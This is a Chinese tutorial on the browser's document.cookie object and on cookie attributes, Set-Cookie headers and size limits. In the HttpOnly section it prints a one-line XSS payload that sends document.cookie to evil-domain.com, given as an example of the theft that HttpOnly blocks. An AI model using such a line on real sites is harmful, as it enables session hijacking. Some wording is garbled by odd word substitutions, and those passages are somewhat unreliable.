BOM 浏览器对象模型_不超过 4 KB 的 document.cookie 对象

注意： 客户端储存应该使用 Web storage API 和 IndexedDB，不推荐使用 Cookie

document.cookie 对象

是服务器保存在浏览器的一小段文本信息

用于读写当前网页的 Cookie。

读取的时候，它会返回当前网页的全部 Cookie，前提是该 Cookie 不能有 HTTPOnly 属性。

• var cookies = document.cookie.split(';'); for (var i = 0; i < cookies.length; i++) { console.log(cookies[i]); } // foo=bar // baz=bar

• 为当前网站添加 Cookie，一次只能写一个    （属性值的等号两边不能有空格）

• document.cookie = 'fontSize=14';
  document.cookie = 'test1=hello';
  document.cookie = 'test2=world';
  document.cookie // fontSize=14;test1=hello;test2=world
  
  // 同时写入属性
  document.cookie = "foo=bar; expires=Fri, 31 Dec 2020 23:59:59 GMT";
  

  document.cookie = 'fontSize=14; ' +
        'expires=' + someDate.toGMTString() + '; ' +
        'path=/subdirectory; ' +
        'domain=*.example.com';

  // 属性一旦设置完成，就没有办法读取这些属性的值

• 删除一个现存 Cookie 的惟一方法，是设置它的 expires 属性为一个过去的日期

Cookie 的属性

• Cookie 的名字
• Cookie 的值（真正的数据写在这里面）

若是 Set-Cookie 字段没有指定 Expires 或 Max-Age 属性，那么这个 Cookie 就是 Session Cookie，

即它只在本次对话存在，一旦用户关闭浏览器，浏览器就不会再保留这个 Cookie

• Max-Age    指定从如今开始 Cookie 存在的秒数

好比60 * 60 * 24 * 365（即一年）。

过了这个时间之后，浏览器就再也不保留这个 Cookie

若是同时指定了 Expires 和 Max-Age，那么 Max-Age 的值将优先生效

• Expires    到期时间 

到了指定时间之后，浏览器就再也不保留这个 Cookie

它的值是 UTC 格式，可使用 Date.prototype.toUTCString() 进行格式转换

若是不设置该属性，或者设为 null，Cookie 只在当前会话（session）有效

浏览器窗口一旦关闭，当前 Session 结束，该 Cookie 就会被删除。

另外，浏览器根据本地时间，决定 Cookie 是否过时，

因为本地时间是不精确的，因此没有办法保证 Cookie 必定会在服务器指定的时间过时

• Domain    所属域名（默认是当前域名）    必须是当前发送 Cookie 的域名的一部分

指定浏览器发出 HTTP 请求时，哪些域名要附带这个 Cookie。

若是没有指定该属性，浏览器会默认将其设为当前域名，这时子域名将不会附带这个 Cookie。

好比，example.com不设置 Cookie 的 domain 属性，那么 sub.example.com 将不会附带这个 Cookie

若是指定了 domain 属性，那么子域名也会附带这个 Cookie。

若是服务器指定的域名不属于当前域名，浏览器会拒绝这个 Cookie

• Path    生效的路径（默认是当前网址）    必须为绝对路径

指定浏览器发出 HTTP 请求时，哪些路径要附带这个 Cookie。

只要浏览器发现，Path 属性是 HTTP 请求路径的开头一部分，就会在头信息里面带上这个 Cookie

好比，PATH属性是/，那么请求/docs路径也会包含该 Cookie。固然，前提是域名必须一致

• Secure    表现当前网页的协议是 htpp 仍是 https 加密

当前协议是 HTTP，浏览器会自动忽略服务器发来的 Secure 属性。

该属性只是一个开关，不须要指定值。若是通讯是 HTTPS 协议，该开关自动打开

• HttpOnly    指定不让 JavaScript 读取到 Cookie

• (new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

  上面是跨站点载入的一个恶意脚本的代码，可以将当前网页的 Cookie 发往第三方服务器。

• 若是设置了一个 Cookie 的 HttpOnly 属性，上面代码就不会读到该 Cookie

每一个 Cookie 容量很小，通常不能超过 4KB

浏览器每次向服务器发出请求，就会自动附上这段信息

• 举例来讲，用户访问网址 www.example.com

服务器在浏览器写入一个 Cookie

这个 Cookie 就会包含 www.example.com 这个域名，以及根路径 /

这意味着，这个 Cookie 对该域名的根路径和它的全部子路径都有效。

之后，浏览器一旦访问这个路径，浏览器就会附上这段 Cookie 发送给服务器

• 主要用途：
• 分辨两个请求是否来自同一个浏览器
• 用来保存一些状态信息
• 经常使用场合
• 对话（session）管理            保存登陆、购物车等须要记录的信息
• 个性化            保存用户的偏好，好比网页的字体大小、背景色等等
• 追踪            记录和分析用户行为
• 浏览器能够设置不接受 Cookie，也能够设置不向服务器发送 Cookie

• window.navigator.cookieEnabled    // 浏览器是否打开 Cookie 功能

• 不一样浏览器对 Cookie 数量和大小的限制，是不同的

通常来讲，单个域名设置的 Cookie 不该超过30个

每一个 Cookie 的大小不能超过 4KB

超过限制之后，Cookie 将被忽略，不会被设置

• 浏览器的同源政策规定，两个网址只要域名相同和端口相同，就能够共享 Cookie（参见《同源政策》一章）。

注意，这里不要求协议相同。

也就是说，http://example.com 设置的 Cookie，能够被 https://example.com 读取

Cookie 由 HTTP 协议生成，也主要是供 HTTP 协议使用

服务器若是但愿在浏览器保存 Cookie，就要在 HTTP 响应的头信息里面，放置一个 Set-Cookie 字段

• Set-Cookie: foo=bar
• 会在浏览器保存一个名为 foo 的 Cookie，它的值为 bar
• HTTP 响应的头信息    能够包含多个 Set-Cookie 字段，即在浏览器生成多个 Cookie

• HTTP/1.0 200 OK
  Content-type: text/html
  Set-Cookie: yummy_cookie=choco Set-Cookie: tasty_cookie=strawberry [page content]

• HTTP 响应的头信息    除了能够 Cookie 的值，Set-Cookie 字段还能够附加 Cookie 的属性

• Set-Cookie: <cookie-name>=<cookie-value>; Expires=<date> Set-Cookie: <cookie-name>=<cookie-value>; Max-Age=<non-zero-digit> Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value> Set-Cookie: <cookie-name>=<cookie-value>; Path=<path-value> Set-Cookie: <cookie-name>=<cookie-value>; Secure Set-Cookie: <cookie-name>=<cookie-value>; HttpOnly

• Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly

若是服务器想改变一个早先设置的 Cookie 值，必须同时知足四个条件

Cookie 的key、domain、path和secure都匹配

原始 Cookie： Set-Cookie: key1=value1; domain=example.com; path=/blog

更改 Cookie： Set-Cookie: key1=value2; domain=example.com; path=/blog

浏览器向服务器发送 HTTP 请求时，每一个请求都会带上相应的 Cookie

即 把服务器早前保存在浏览器的这段信息，再发回服务器。这时要使用 HTTP 头信息的Cookie字段

• GET /sample_page.html HTTP/1.1 Host: www.example.org Cookie: yummy_cookie=choco; tasty_cookie=strawberry

服务器收到浏览器发来的 Cookie 时，有两点是没法知道的

Cookie 的各类属性，好比什么时候过时

哪一个域名设置的 Cookie，究竟是一级域名设的，仍是某一个二级域名设的